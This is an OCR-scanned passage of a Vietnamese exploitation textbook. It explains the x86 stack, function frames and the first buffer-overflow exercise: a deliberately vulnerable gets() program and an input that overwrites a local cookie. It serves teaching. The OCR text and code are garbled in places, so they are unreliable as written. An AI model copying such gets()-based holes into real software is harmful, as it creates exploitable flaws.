doc ciing nén luu y rang lenh LEA (Load Effective Address, gan dia chi)
v6i cling dbi s6 nhu trén sé gan gia tri 1a tong cia ECX va EBX vao thanh
ghi EAX vi dia chi 6 nhdé ctia sre chinh 1a ECX + EBX.

2.2.4.3 Ngan xép

Chiing ta nhic dén ngan xép (stack) trong khi ban vé cdc nhém lénh & Tiéu
muc 2.2.4.1. Ngan xép 1a mot ving bo nhé dude hé diéu hanh cap phat sdn cho
chuong trinh khi nap. Chuong trinh sé sit dung ving nhé nay dé chita cac bién
cuc bd (local variable), va luu lai qua trinh goi ham, thuc thi clia chuong trinh.
Trong phan nay ching ta sé ban t6i cac lenh v thanh ghi dic biét c¢6 anh hudng
dén ngin xép.

Ngan xép hoat dong theo nguyén tac vao sau ra truée (Last In, First Out).
Cac d6i tugng duge dua vao ngan xép sau cung sé dude lay ra dau tien. Khai
niém nay tuong ty nhu viéc ching ta chdng cac thiing hang lén trén nhau.
Thing hang dugce chong lén cubi cliing sé & trén cling, v sé duge do ra dau tien.
Nhu vay, trong sudt qua trinh sit dung ngin xép, chiing ta luén can biét vi tri
dinh ciia ngan xép. Thanh ghi ESP Ivu giit vi tri dinh ngan xép, tic dia chi 6
nhé ctia déi tugng dude dua vao ngan xép sau cling, nén con dude goi 1a con trd
ngin xép (stack pointer).

Thao tac dua mot dbi tugng vao ngan xép la lenh PUSH. Thao tac lay tu
ngin xép ra la lenh POP. Trong ciu tric Intel x86 32 bit, khi ta dua mot gia
tri vio ngan xép thi CPU sé tuan ty thyc hién hai thao thac nhé:

1. ESP dugc gén gia tri ESP - 4, tic gia tri ctia ESP sé bi giam di 4.

2. Db6i 6 ctia lenh PUSH duge chuyén vao 4 byte trong bo nhé bat dau tir
dia chi do ESP xac dinh.

Ngudc lai, thao tac lay gia tri tit ngan xép sé khién CPU thyc hién hai tac vu
déo:

1. Bén byte bo nhé bit dau tit dia chi do ESP xac dinh sé dugc chuyén vao
déi sb ctia lenh POP.

2. ESP dugc gan gia tri ESP + 4, tic gia tri cia ESP sé dugc tang thém 4.

Chiing ta nhan ra ring khai niém dinh ngan xép trong ciu tric Intel x86 sé& c6
gia tri thap hon cac vi tri con lai ciia ngin xép vi méi lenh PUSH sé gidam dinh
ngin xép di 4 don vi. Trong céc ciu tric khac, dinh ngan xép c6 thé cé gia tri
cao hon cic vi tri con lai. Ngoai ra, vi mdi 1an PUSH, hay POP con tr6 lenh
déu bi thay ddi 4 don vi nén mot 6 (slot) ngan xép sé ¢6 do dai 4 byte, hay 32
bit.
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XX: khong xac dinh

BFFFF6CO

EAX=42413938

(a) Trude
BFFFF6CO
38 | 39 |41 | 42
ESP=BFFFF6BC
dwa vao .
EAX=42413938
(b) Sau

Hinh 2.4: Trudc va sau lénh PUSH EAX

Gia st nhu ESP dang c6 gia tri BFFFF6C0, va EAX c6 gia tri 42413938,
Hinh 2.4 minh hoa trang thai ctia bo nhé va gid tri cac thanh ghi trudce, va sau
khi thyc hién lenh PUSH EAX.

Gia st 4 byte bo nhé bit dau tir dia chi BEFFF6BC c6 gia tri lan lugt 13 38,
39, 41, 42, va ESP dang c¢6 gia tri 1a BFFFF6BC, Hinh 2.5 minh hoa trang théi
ctia bo nhé va gia tri cac thanh ghi truée, va sau khi thyc hién 1énh POP EAX.

2.2.4.4 Cac lénh goi ham

Ngan xép con chita mot thong tin quan trong khéic lien quan t6i ludng thue thi
ctia chuong trinh: dia chi con trd lenh sé chuyén t6i sau khi mot ham két thic
binh thuong.

Gia st trong ham main ching ta goi ham printf dé in chit “Hello World!” ra
man hinh. Sau khi printf da hoan thanh nhiém vu d6, ludng thuyc thi sé phai
dugc tra lai cho main dé tiép tuc thuc hien nhing tac vu ké tiép. Hinh 2.6 mo
t& qua trinh goi ham va trd vé tit mot ham con (ham duge goi). Ching ta thay
rang khi két thic binh thudng, ludng thuyc thi sé trd vé ngay sau lénh goi ham
printf trong main.

Khi duge chuyén qua hgp ngit, ching ta c¢6 doan ma tuong ti nhu sau:

08048446 ADD ESP, -0x0C
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BFFFF6CO

38 [39 | 4142

ESP=BFFFF6BC 7]

EAX=XXXXXXXX

(a) Trudc

BFFFF6CO

ESP=BFFFF 6C>

38 | 39”|'41 | 42

1ay ra
FAX=42413938 |[e—2—]

(b) Sau

Hinh 2.5: Trudc va sau lénh POP EAX

08048449 PUSH 0x08048580
0804844E  CALL printf
08048453 ADD  ESP, 0x10

Tai dia chi 08048449, tham s6 dau tién clia printf dudc dua vio ngan xép. Gia
tri 08048580 1 dia chi ctia ving nhé chita chudi “Hello World!”. Tiép d6 lenh

CALL thuc hién hai tac vu tuan tu:

1. Dua dia chi ctia lénh ké tiép ngay sau lenh CALL (08048453) vho ngin
xép. Tac vu nay c6 thé duge hidu nhu mot lenh PUSH $+5 véi § 1a dia chi

cta lenh hién tai (0804844E).

2. Chuyén con trd lénh t6i vi tri ctia déi 6, tiic dia chi ham printf nhu trong

vi du.

Sau khi thitc hién xong nhiém vu ctia minh, ham printf sé chuyén con tré lenh
vé lai gia tri da dugce lenh CALL luu trong ngin xép thong qua lenh RET. Lénh

RET thuyc hién hai tac vu dao:

1. LAy gi4 tri trén dinh ngan xép. Tac vu nay tuong ty nhu mot lenh POP.

2. Géan con tré lénh bang gia tri da nhan duge & buée 1.
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main printf

goi

\ J
printf("Hello World!"); ]

Hinh 2.6: Goi vao va trd vé tit mot ham

Hinh 2.7 va Hinh 2.8 mo t& trang thai thanh ghi v bd nhé trude va sau khi
thyuc hién lénh CALL, va lenh RET.

Cho dén day, ban doc c6 thé nhan thay ring ching ta c6 ba cach dé diéu
khién ludng thyc thi ctia chuong trinh:

1. Thong qua céac léenh nhay nhu JMP, JNZ, JA, JB.
2. Thong qua lénh goi ham CALL.
3. Thong qua lénh tra vé RET.

Déi véi cach mot va hai, dia chi méi clia con tré lenh 1 déi sd ciia lénh tuong
tng, va do d6 duge chen thing vao trong ma may. Néu mudn thay déi dia si
dung trong hai cach dau, chiing ta budc phai thay déi lenh. Riéng cach cudi ciing
dia chi con tré lenh duge lay ra tit trén ngin xép. Diéu nay cho phép chiing ta
xép dat di lieu va lam dnh hudng dén lénh thiyc thi. Day 1a nguyén tic co ban
dé tan dung 16i tran bo dem.

Tuy nhién, trudc khi ching ta ban t6i tran bo dém, mot vai kién thic vé
cach trinh bién dich chuyén tit ma C sang ma may, va vi tri cic bién ctia ham
dudc sip xép trén bo nhé sé gitp ich rat nhiéu trong viéc tan dung 18i.
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ADD ESP, -0x0C

PUSH 0x08048580

/ CALL printf
A ESP 1
EIP=0804844E bb SP, 0x10

ESP

.

80 [ 85| 04 | 08
XX [ XX [ XX | XX

(a) Trudc

PUSH EBP

MOV  EBP, ESP

EIP=B7EF22F0
ESP

80 | 85 (04 | 08
53 (84 |04 |08

(b) Sau

Hinh 2.7: Truéc va sau lénh CALL
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EIP=B7EF2328

ESP

EIP=08048453

ESP

ADD ESP, 0x10
POP  EBX
POP EBP
/ RET
\ 80 [ 85 | 04 | 08
53184 (04|08
(a) Trude
ADD ESP, -0x0C
PUSH 0x08048580
CALL printf
/v ADD ESP, 0x10
\ 80 | 85 | 04 | 08
53184 (04|08
(b) Sau

Hinh 2.8: Truéc va sau léenh RET
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2.3 Trinh bién dich va cau triic mét ham

Trinh bién dich thyc hién viéc chuyén ma ngén ngit cip cao nhu hgp ngit, C,
hay Pascal sang ma may. Trong phan niy ching ta sé xem xét trinh bién dich
GCC phién ban 2.95 bién dich mot ham don gidn viét bing C sang hgp ngit ra
sao. Doan ma C dugc liét ké & dudi:

int func(int a, int b)
{

int c;

char d[7];

short e;

return 0;

Day 1a mot ham tén func, c6 hai bién ty dong (automatic variable) tén a,
kiéu int, va b, ciing kiéu int. Haim nay con c6 ba bién noi bo (local variable) tén
¢, kiéu int, d, mang 7 char, v e, kiéu short. Ham trd vé mot gia tri kidu int.

Déi véi bat ky mot ham C nao, trinh bién dich sé tao ra mét ham tuong tng
c6 ba phan:

Dan nhap (prolog) la phan dau ctia mot ham, c6 nhieém vu luu trit thong tin
vé viing nhé (frame) ctia ham goi (caller) — ham dang xét 13 ham duge
goi (callee) — va cAp phat bo nhé cho cac bién noi bo trude khi than ham
dugce thuc thi.

Than la phan chinh ctia ham, bao gdm céac lénh thyc hién nhiém vu ciia ham.

Két thiic (epilog) la phan cubi ciia mot ham, c¢6 nhiem vu hity b viing nhé
da duge cap phat ¢ phan dan nhap dong thoi chuyén lai vimg nhé ciia
ham goi.

2.3.1 Dan nhap

Thong thusng, phan din nhap gom hai dong lénh chinh v mot dong lénh phu
nhu sau:

PUSH EBP
MOV  EBP, ESP
SUB  ESP, 0x20

Hai dong léenh dau tién luu gia tri ciia thanh ghi EBP vao ngin xép, va sau dé
gan gia tri hién tai clia con tré ngan xép cho EBP. Nhu vay, sau lénh nay EBP
v ESP déu trd dén cling mot 6 trén ngin xép, vi 6 nay chia gia tri EBP cil
(saved EBP).

Lénh thit ba gidm gia tri clia con trd ngan xép xudéng mot sé6 don vi nhat
dinh. Trong vi du trén ta thiy ESP bi gidm di 20 don vi. Khodng tréng nay
chinh 13 phan b6 nhé duge cap phat cho cac bién noi bo trong ham. Nhu vay,
gi4 tri & dong lenh thit ba phai luon luon 16n hon hodic bing véi tdng do 16n
clia cdc bién nodi bo. Ching ta hdy thit tinh xem ham dang xét can bao nhiéu
byte bo nhé cho cac bién nay. Trudc tién bién c c6 kiéu int nén sé duge GCC
cap phat 4 byte. Bién d 13 mang 7 phan tit kiéu char. M&i mot char duge GCC
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EBP
ESP

Hinh 2.9: Vi tri cac bién ndi bo trén ngan xép

cap phat 1 byte. Nhu vay bién d sé dudc cap 8 byte. Khong, tac gia da khong
nham 1an khi thyc hién phép nhan mot véi bay. Dich thuc két qua clia 7 x 1 sé
14 7 nhung vi Iy do t6i wu héa téc do truy cap bo nhé va dé con tré ngan xép
luon c6 gia tri chia hét cho 4 nén GCC sé cap phat 8 byte thay vi 7 byte. Cudi
ciing 13 bién e sé dudc cap 4 byte thay vi 2 byte cho kiéu short véi cuing 1y do.
Nhu vay, téng cong bo nhé can cAp phat cho bién noi bo sé 1a 4 + 8 + 4 = 10.
Do dé6 t6i thiéu ESP phai bi gidam di 10 don vi, v trong vi du nay ESP da bi
gidm di 20 don vi, nhidu hon can thiét.

Trong téng s6 6 nhé duge danh cho céc bién noi bo, vi tri cac bién trén ngin
xép sé& dudc cap theo vi tri xuat hién ciia chiing trong ma nguon C. Gia si nhu
ma nguodn chi c6 mot bién noi bo ¢, thi 4 byte sé duge danh cho riéng c. Néu
ma nguodn cé6 hai bién noi bo 1an lugt 13 ¢ va d thi 4 byte dau tién sé dung cho
¢, va 8 byte ké tiép sé dudc dimg cho d. Tuong ti véi vi du clia ching ta, 4 byte
dau tién sé& dugc danh cho ¢, 8 byte ké cho d, v 4 byte cudi cho e nhu trong
Hinh 2.9.

2.3.2 Than

Than ham bao gom cac lénh thyc hién myc dich ctia ham. Trong vi du don gian
cia ching ta, than ham sé chi ¢c6 mot léenh XOR EAX, EAX. Lénh nay thyc hién
phép luan Iy XOR gitta thanh ghi EAX va chinh né, két qua dugc luu lai vao
thanh ghi EAX. Sau khi thyc hién lénh, thanh ghi EAX sé chita gia tri 0.

C6 hai diéu ching ta can luu ¥ & day. Thit nhat, trong mé C, ching ta si
dung cau lénh return 0, va cau lénh nay tuong ting véi lénh XOR & trén. Diém
nay cho ta biét ring gia tri trd vé clia mot ham sé duge lwu trong thanh ghi
EAX. Thit hai, trong than ham gi4 tri ctia thanh ghi EBP khong thay déi. Diém
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nay khong dude néu ré trong vi du nhung sé duge néi t6i & phan ké.

2.3.3 K&ét thic
Ciing nhu din nhap, két thic gom hai lenh chinh v mot lénh phu:

MOV ESP, EBP
POP EBP
RET

Hai léenh dau tién thuc hién tac vu ddo ctia phan dan nhap. Gi4 tri hién tai ctia
EBP sé dudc gan vao cho con tré ngan xép, va sau dé6 EBP duge phuc hdi véi
gia tri da luu trén ngan xép.

Cau héi 6 day 1a gia tri nao trén ngin xép sé dudc gan cho EBP. Chiing ta
van con nhé trong phan dan nhap, gia tri EBP cii duge luu lai véi lenh PUSH
EBP. O phan két thic, chinh gia tri nay sé duge phuc hdi qua lenh POP EBP. Dé
lam dugc viéc nay, 16 rang gia tri EBP phai khong bi thay déi trong subt than
ham sao cho khi phuc hdi con tré ngan xép thi ESP sé vé lai vi tri chia gia tri
EBP cii.

C6 mot diém nhd ban doc sé nhan ra ring s6 lenh PUSH va s lenh POP
thuong sé can bing v6i nhau. Nhu ta c6 PUSH EBP & phan dan nhap thi & két
thiic ta c6 POP EBP. Day chinh 1a kha n#&ng chita dit liéu tam clia ngan xép. Khi
can lwu mot gia tri ndo dé vao ngan xép thi ta ding lenh PUSH, va khi lay ra
ta dung lénh POP.

Dong leénh thit ba thay ddi luong diéu khién quay vé ham goi. Nhu vay, ngay
sau gia tri EBP cii trén ngin xép sé phai 1 dia chi tré vé dé lenh RET stt dung.
Va sau khi thie hién léenh RET, con tré ngan xép sé tré t6i vi tri trén dia chi
tréd vé. Hinh 2.10 m6 ta cau tric bo nhé ctia vi du ham don gidn ma ching ta
vita trao ddi.

Doc gia ciing xin dudc luu ¥ rang thi tir cac lenh dude trinh bay & day la
theo cach thong thudng nhat, nhung trong qua trinh thyec hanh doc gia sé c6
thé thay céc lenh nay tuy van tudn theo tht tu d6, nhung dong thoi ciing ¢é cac
lenh khac chén vao, hodc céc léenh nay dude thay thé béi cac lénh tuong tng.
Day la do qué trinh t6i wu héa ciia trinh bién dich va duge xem xét t6i ki hon
trong chuong trinh dao tao tai trung tam cta tac gia.

Téi day, ching ta da két thic trao ddi vé vi tri cac bién noi bo trén ngan
xép, va gia tri trd vé ctia ham. Phan ké s& ban tiép vé cac ddi s6 (tham sb,
parameter) clia ham.

2.3.4 Goi ham

Chiing ta nhé ring ham func nhan vao hai déi s6 1a a va b, ciing kiéu int, d6i
s6 a dugc khai bao trude déi sé b. Khi chuyén sang hop ngi, trinh bién dich sé
chuyén cac 18i goi dén ham func thanh nhing dong lénh sau:

PUSH b
PUSH a
CALL func

Nhu vay hai déi s duge dua vio ngan xép theo thit tu ngude lai véi thit tu
chiing dugc khai bao thong qua hai dong lenh PUSH. Sau d6 lenh CALL sé tiép
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EBP=EBP ci .

ESP \ .

dia chi trd vé

EBP ci

(O3 o o o]

Hinh 2.10: Bo nhé va thanh ghi sau khi két thtic ham

tuc dua dia chi tré vé vao ngan xép va chuyén con trd lénh t6i phan din nhap
ctia ham func. Ké hop véi nhiing gi ching ta da ban qua & Tiéu muc 2.3.1,
chiing ta c6 thé dung nén mo6 hinh hoan chinh vé ciu tric ngan xép ctia mot
ham nhu minh hoa trong Hinh 2.11.

Tat cd cac 6 ngin xép tit vi tri déi s6 cudi cling (vi trf ctia b) cho dén vi
trf clia bién nodi bo cudi cing (vi trf clia e) duge goi 1a mot viing nhé ngin xép
(stack frame). Mdi viing nhé ngin xép chita thong tin trang thai ciia mot ham
nhu chiing ta da ban qua bao gdom cac déi s6, dia chi tré vé ciia ham, thong tin
vé viing nhé clia ham goi, va cac bién noi bo. M&i viing nhé tuong tng véi mot
léenh goi ham chua két thic. Vi du ham main goi ham func vi ham func dang
dugce thye hién thi chiing ta sé& c¢6 cac viing nhé ngan xép nhu trong Hinh 2.12.

2.3.5 Con tro viung nhé

Ham thyc thi c¢6 thé truy xudt céc dit lieu trang thai thong qua con tré ving
nhé (frame pointer). Con tré viing nhé luon luon chi t6i vi tri ¢6 dinh ctia mot
vimg nhé. Cac dit lieu khac dude truy xuit thong qua vi tri twong déi déi véi
con tré viing nhd. Vigc lam nay tuwong tu nhw khi néi “phim cach phim
vé phia trai 3 phim”. Va chiing ta luén luon dinh vi duge phim vi n6 la phim

¢6 g0 bén tay trai trén ban phim cho nén ta sé xac dinh dugc phim . Con
tré ving nhé ciia chiing ta chinh 134 EBP vi EBP luén luén chi téi 6 ngin xép
chita gia tri EBP cii va nhitng ddi tuong khac déu cé thé duge xéc dinh theo
gi4 tri ctia thanh ghi EBP vi du nhu bién ¢ sé dugc chi t6i bdi EBP—4, bién d
dugc chi t6i béi EBP—C.

Dua vao gbc dbi chiéu 1a thanh ghi EBP, ta ciing sé thay réng cac dbi tuong
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dia chi trd vé

ung nhé ngin x&p

ving nh&»

EBP EBP ci
c
d
d
e
Hinh 2.11: M hinh ngin xép ctia mot ham
déi sb cta main
dia chi trd vé
EBP cu
bién ndi bd cta main
vung nh& ce
clia main

ddéi sbé6 cua func

dia chi trd vé main

EBP clia main

bién ndéi bd cia func

cua func

Hinh 2.12: C4c ving nhé ngan xép



32 CHUONG 2. MAY TINH VA BIEN DICH

khac dude sap xép mot cach kha hop 1y va gidi thich 1§ do tai sao ddi s6 cia
ham dugc dua vao ngan xép theo thit tuy ngude. Khi do, dbi sd thit nhat sé 1a
EBP+8, déi s6 thit hai sé 14 EBP-+C, ttic dia chi 6 nhé ciia cac dbi sd ting dan
theo thit ty khai bdo. Tuong ti, dia chi clia cac bién giam dan theo thit ty khai
béo.

Ngoai ra, ching ta cling c6 thé hoan toan xac dinh dugc vai tro ctia nhing
6 ngin xép khac trong viing nhé khi da xac dinh dudc vai tro ciia mot 6 bat
k¥ con lai. Ciing gidng nhu khi ta da xac dinh dude bat ki phim ndo trén ban
phim 1a phim gi, thi ta cling sé tim dugc phim vi cau tric ban phim khong
thay déi. V6i moé hinh ciu tric bo nhé ctia mot ham da duge thiét lap trong
Hinh 2.11, gid st nhu ta xac dinh dudc ring 6 ngan xép tai dia chi 6789ABCC
gitt dia chi trd vé ciia ham thi 6 ngan xép tai dia chi 6789ABCS sé giit gia tri
EBP cia ham goi, vd 6 ngin xép tai dia chi 6789ABDO s& 13 ddi s6 thit nhat
nhu trong Hinh 2.13.

6789ABCC —® dia chi trd vé

(a) X&c dinh vai tro clia moét 6 ngan xép

6789ABDO o1 b 2
T a6i sbé 1
6789ABCC —»| dia chi trd vé

/V EBP cia ham goi

6789ABCS bién noi bo

bién ndéi bd

(b) Xéc dinh vai tro cac o con lai

Hinh 2.13: X4c dinh vai tro cac 6 ngin xép



2.4. TOM TAT VA GHI NHO 33

2.4 Tém tat va ghi nhé

Hé co s6 nhi phan, thap phan, va thap luc phan c¢6 thé duge chuyén déi
qua lai dita vao cong thiic toan hoc. Chuyén ddi qua lai giita hé nhi phan
va he thap luc phan con ¢ thé st dung bang tra ciu ting cum 4 bit.

May tinh chi st dung hé nhi phan do dé can mot quy udc dé bidu dién
cac ky tu chit cai. Bang ma ASCII 1a mot trong cac quy uée do.

Bo vi xtt Iy Intel x86 32 bit gdm c6 cac thanh ghi chung, thanh ghi ngin
xép, thanh ghi co.

Bo nhé duge dinh dia chi mot cach tuyén tinh theo do rong cia dudng
truyen dia chi (32 bit). Intel CPU truy cap bo nhé theo quy wdc két thiic
nho, byte & dia chi thip mang it ¥ nghia hon byte § dia chi cao.

Tap lenh 13 tit vyng cia CPU, bao gdm cic ma mdy, hay con goi 1a ngon
ngt lap trinh thé hé thit nhat. Hop ngit 1 bo tit ving danh cho con ngudi,
con dugce biét dén nhu 1a ngén ngi lap trinh thé he thit hai.

C6 nhiéu nhém lénh nhu nhém lénh nhay, nhém lénh ham, nhém lénh
ngan xép, nhém lénh s6 hoc. Céc lénh nay thudng c6 cit phap gom hai déi
s6 trong d6 déi sb dau tién thuong nhan két qua ciia lenh.

Ngan xép 13 ving nhé duge hé diéu hanh cip cho chuong trinh khi nap né
vao bd nhé. Ngin xép chita thong tin vé cic bién ndi bo clia chuong trinh
va qué trinh thyec thi chuong trinh. Céc lénh dnh huéng t6i ngan xép chi
yéu gdom PUSH, POP, CALL, va RET. Céac lénh nay lam thay doi gia tri
clia thanh ghi ESP, hay con goi 1a con tré ngin xép. PUSH gidm gia tri
ctia ESP, trong khi POP tang gia tri ctia ESP. Con trd ngan xép luon luon
chi dén dinh ngin xép.

Trinh bién dich chuyén tit ngon ngit ciAp cao hon ra ma may.

Mot ham thudng duge bién dich ra thanh ba phan, din nhap, than va
két thic. Phan dan nhap khdéi tao ving nhé cia ham, va luu thong tin vé
ving nhé ctia ham goi. Phan than thyc hién cac tac vu dé dat duge muc
tiéu clia ham. Phan két thic lay lai ving nhé da dugc cap phat & phan
dan nhap va thiét 1ap lai viing nhé clia ham goi.

Gi4 tri tra vé clia mot ham thuong dude chita trong thanh ghi EAX.

Khi goi ham, cac dbi s6 clia ham dugc dua vao ngin xép theo thit ty ngude
lai véi thit tuy chung duge khai bao.

Trong GCC 2.95, cic bién noi bo clia ham duge phan bd cic 6 ngan xép
theo thit tu ching duge khai bao. Dé t6i uu héa truy cap bo nhé, don vi
nho nhét cap phat cho cac bién noi bo 14 mot 6 ngiin xép.

Viing nhé ngan xép clia mot ham bat dau véi cac doéi s6, dia chi trd ve,
gia tri EBP cii, v céc bién noi bo. Mo hinh nay khong thay déi nén khi
xac dinh dudc vai trd clia mot 6 ngan xép thi vai tro clia cic 6 ngan xép
khéc ciing duge xac dinh.
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e Vai tro clia cac 6 ngin xép trong ving nhé ciia mot ham con c6 thé duge
xac dinh va truy cap thong qua con tré ving nhé EBP. Gié tri cia EBP
khong thay doéi trong sudt qua trinh thuc thi cfia ham va luon tré téi 6
ngan xép chita gia tri EBP clia ham goi.



Chuong 3

Tran bo dém

Tran bo deém la loai 161 thong thudng, dé tranh, nhung lai phd bién va nguy
hiém nhéat. Ngay tit khi dugc biét dén cho t6i ngay nay, tran bo dém luon luon
dudc liet ké vao hang danh sach céc 16i de doa nghiém trong dén sy an toan
hé théng. Nam 2009, t& chitic SANS dua ra bao cdo 25 16i lap trinh nguy hiém
nhat! trong dé van c6 16i tran bo dem.

Trong chuong nay, ching ta sé xem xét ban chat ciia 16i tran bo dém 1a
gi, cac cach tan dung 16i thong thuong nhu thay déi gia tri bién, quay vé ban
than ham, quay vé thu vien chuan va lién két nhidu lan quay vé thu vién chuén.
Chiing ta sé di qua mot loat nhitng vi du tit co ban dén phiic tap dé nhan ra
nhiing gia tri quan trong trong qué trinh thyc thi cia mét chuong trinh.

3.1 Giéi thidu

Tran bo dém la 16i x4y ra khi dot lieu x Iy (thuong la d@ lieu nhap) dai qua
gidi han clia viing nhé chita né. Va chi don gian nhu vay.

Tuy nhién, néu phia sau ving nhé nay cé chita nhitng dit lidu quan trong t6i
qué trinh thyc thi cia chuong trinh thi dit lieu du ¢6 thé sé lam héng cac dit
lidu quan trong nay. Tiy thudc vao cach xit 1y ctia chuong trinh déi vé6i cac dit
lieu quan trong ma ngudi tan dung 161 c¢6 thé diéu khién chuong trinh thuc hien
tac vu mong mudn.

Hinh 3.1 mé ta vi tri dit liéu va qué trinh tran bo dém.

Qua dé, chiing ta nhan ra ba diém thiét yéu ctia viéc tan dung 16i tran bo
dem:

1. Dt lieu quan trong phai nim phia sau dit lieu c6 thé bi tran. Néu nhu
trong Hinh 3.1, dit liéu quan trong nim bén trai thi cho dut dit lidu tran
c6 nhiéu dén may ciing khong thé lam thay déi dit lieu quan trong.

2. Phan di liéu tran phai tran t6i duge dit lieu quan trong. Doi khi ta c¢6
thé lam tran bo dem mot sb lugng it dit lieu, nhung chua du dai dé 6 thé
lam thay ddi gia tri ctia dit lieu quan trong nim céch xa do.

3. Cudi cling, dit licu quan trong bi thay d6i vAn phai con § nghia vé6i chuong
trinh. Trong nhiéu trudng hop, tuy ta c6 thé thay déi dit lieu quan trong,

lhttp://www.sans.org/top25errors
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dd liéu nhép dd liéu quan trong

(a) Mot it dit lieu

du liéu nhép du liéu quan trong

(b) Dt lieu nhap dai hon

dd liéu nhép dd liéu quan trong

(c) D@ lieu quan trong bi ghi dé

Hinh 3.1: Tran bo déem
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#include <stdio.h>

int cookie;

char buf[16];

printf ("&buf: _%p, _&cookie: %p\n", buf, &cookie);
gets (buf);

if (cookie = 0x41424344)

{

}

printf("You_win!\n");

}

Nguon 3.1: stackl.c

nhung trong qua trinh do ta ciing thay ddi cac dit lieu khac (vi du nhu cac
¢O luan 1y) va khién cho chuong trinh bé qua viéc stt dung dit lieu quan
trong. Day la mot nguyén tic co ban trong cac cd ché chdng tan dung 16i
tran ngin xép ciia cac trinh bién dich hién dai. Cac cd ché nay duge ban
dén chi tiét trong chuong trinh gidng day nang cao tai trung tam dio tao
cia tac gia.

Khi nim vitng nguyén tic clia train bo dém, ching ta da sin sang xem xét mot
loat vi du dé tim di liéu quan trong bao géom nhitng dit liéu gi va cach thic st
dung chung. Trong tat ca cac vi du sau, muc tiéu ching ta mudn dat dugc la
dong chit “You win!” dugc in 1én méan hinh.

3.2 Thay d6i gia tri bién nodi bo

Nguodn 3.1 1a vi du dau tién clia chiing ta. Dé bién dich nhitng vi du tuong ty ta
sé duing ¢t phap lenh gcc -o <t&n> <t&n.c> nhu trong hinh chup bén dudéi.

regular@exploitation:~/src$ gcc -o stackl stackl.c

/tmp/ccxYIaRx.o: In function ‘main’:

stackl.c: (.text+0x26): warning: the ‘gets’ function is dangerous and should not
be used.

Ban doc dé dang nhan ra ring GCC da canh bao vé sy nguy hiém cia viéc
st dung ham gets. Ching ta boé qua cadnh bdo d6 vi day chinh la ham sé gay ra
16i tran bo dém, déi tugng ma ching ta dang ban dén trong chuong nay. Ngoai
ra, doc gia ciing dugc luu § vé phién ban GCC dang st dung 13 phién ban 2.95.

regular@exploitation:~/src$ gcc -v
Reading specs from /usr/lib/gcc-1ib/i486-1linux-gnu/2.95.4/specs
gcc version 2.95.4 20011002 (Debian prerelease)

Dé tan dung 156i thanh cong, ngudi tan dung 16i phai hiéu r6 chuong trinh
hoat dong nhu thé nao. Nguon 3.1 nhan mot chudi tit bo nhap chuan (stdin)
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dia chi trd vé

ebp ci

cookie
buf
buf
buf
buf

Hinh 3.2: Vi tri cookie va buf

thong qua ham gets. Néu gia tri clia bién noi bo cookie 13 41424344 thi sé in ra
bo xudt chuan (stdout) dong chit “You win!”. Bién cookie dong vai tro 1a mot
dit lieu quan trong trong qua trinh hoat dong ctia chuong trinh.

Thong qua viéc hiéu cach hoat dong ctia chuong trinh, chiing ta thay ring
chinh ban than chuong trinh da chita ma thyc hien tac vu mong mubn (in ra
man hinh dong chit “You win!”). Do d6 mot trong nhitng con dudgng dé dat dugc
muyc tiéu &y 13 gan gia tri clia cookie bing véi gia tri 41424344,

Ngoai viéc hiéu cach hoat dong ciia chuong trinh, ngusi tan dung 16i di nhien
phai tim dudc noi phat sinh 16i. Chiing ta may man dugc GCC thong bao ring
16i nim & ham gets. Van dé gis day tré thanh lam sao dé tan dung 16i ¢ ham
gets dé gan gia tri clia cookie 1a 41424344.

Ham gets thyc hién viéc nhan mot chudi tir bo nhap chudn va dua vao bo
dem. Ky tu két thic chudi (ma ASCII 00) cling dude ham gets ty dong thém
vao cudi. Him nay khong kiém tra kich thudc vimg nhé ding dé chita dit lieu
nhap cho nén sé xay ra tran bo dém néu nhu dit liéu nhap dai hon kich thude
cta bo dém.

Vimg nhé duge truyén vao ham gets dé chita dit lieu nhap 1a bién noi bo
buf. Trén bo nhd, cau tric clia ciac bién no6i bo ctia ham main dude xac dinh
nhu trong Hinh 3.2. Vi bién cookie dudc khai bao truéc nén bién cookie sé duge
phan phat bo nhé trong ngan xép trude, ciing dong nghia véi viéc bién cookie
nam & dia chi cao hon bién buf, vd do d6 nam phia sau buf trong bo nhé.

Néu nhu ta nhap vao 6 ky ty “abedef’ thi trang thai bo nhé sé nhu Hinh
3.3a, 10 ky ty “0123456789abcedef” thi byte dau tién clia cookie sé bi viét de véi
ky tu két thic chudi, va 14 ky “0123456789abedefghij” ty thi toan bod bién cookie
sé bi ta kiém soét.

Dé cookie c6 gia tri 41424344 thi cac 6 nhé clia bién cookie phai co gia tri
lan lugt 1a 44, 43, 42, 41 theo nhu quy uéc két thiic nhé ctia bo vi xi 1y Intel
x86. Hinh 3.3d minh hoa trang thai bo nhé can dat t6i dé dong chit “You win!”
dugc in ra man hinh.
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dia chi trd vé

ebp ci
cookie
XX | XX | XX [ XX
XX | XX | XX [ XX
65 | 66 | 00 | XX
61 | 62 |63 |64

(a) Chudi 6 ky tuw

dia chi trd vé

00 | XX [ XX [ XX
67 | 68 | 69 | 6A
63 | 64 | 65 | 66
38 139 (61|62
34 | 35 | 36 | 37
30 | 31|32 ] 33

(c) Chubi 14 ky tu

dia chi trd vé
ebp ci

00 | XX | XX | XX

63 | 64 | 65 | 66

38 ({39 | 61| 62

34 | 35| 36 | 37

30 [ 31| 32| 33

(b) Chudi 10 ky tu

dia

chi trd vé

ebp ci

44 |43 |42 |41

buf

buf

buf

buf

(d) Trang thai can dat t6i

Hinh 3.3: Qu4 trinh tran bién buf va trang thai can dat

39
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#include <stdio.h>

int main ()
{
int cookie;
char buf[16];
printf ("&buf: %p, _&cookie: %p\n", buf, &cookie);
gets (buf);
if (cookie = 0x01020305)
{

}

printf("You_win!\n");

Nguon 3.2: stack2.c

Nhu vay, dit liéu ma chiing ta cAn nhap vao chuong trinh 1a 10 ky tu bat ky
dé 1ap day bién buf, theo sau béi 4 ky tu ¢6 ma ASCII lan lugt 1a 44, 43, 42, va
41. Bén ky ty nay chinh 1a D, C, B, vd A theo Bang 2.2. Hinh chup sau 1& két
qud khi ta nhap vao 10 ky tu “a” va “DCBA”.

regular@exploitation:~/src$ ./stackl
&buf: Oxbffffadd, &cookie: Oxbffffabd
aaaaaaaaaaaaaaaaDCBA

You win!

regular@exploitation:~/src$

Ching ta da tan dung thanh cong 16i tran bo dém ctia chuong trinh dé ghi
de mot bién noi bo quan trong. Két qua dat dudc & vi du nay chii yéu chinh 1a
cau tra 18i cho mot cau héi quan trong: can nhap vao dit lieu gi. O cac vi du
sau, chiing ta sé gap nhitng cau héi tdng quat tuong ty ma bat ky qua trinh tan
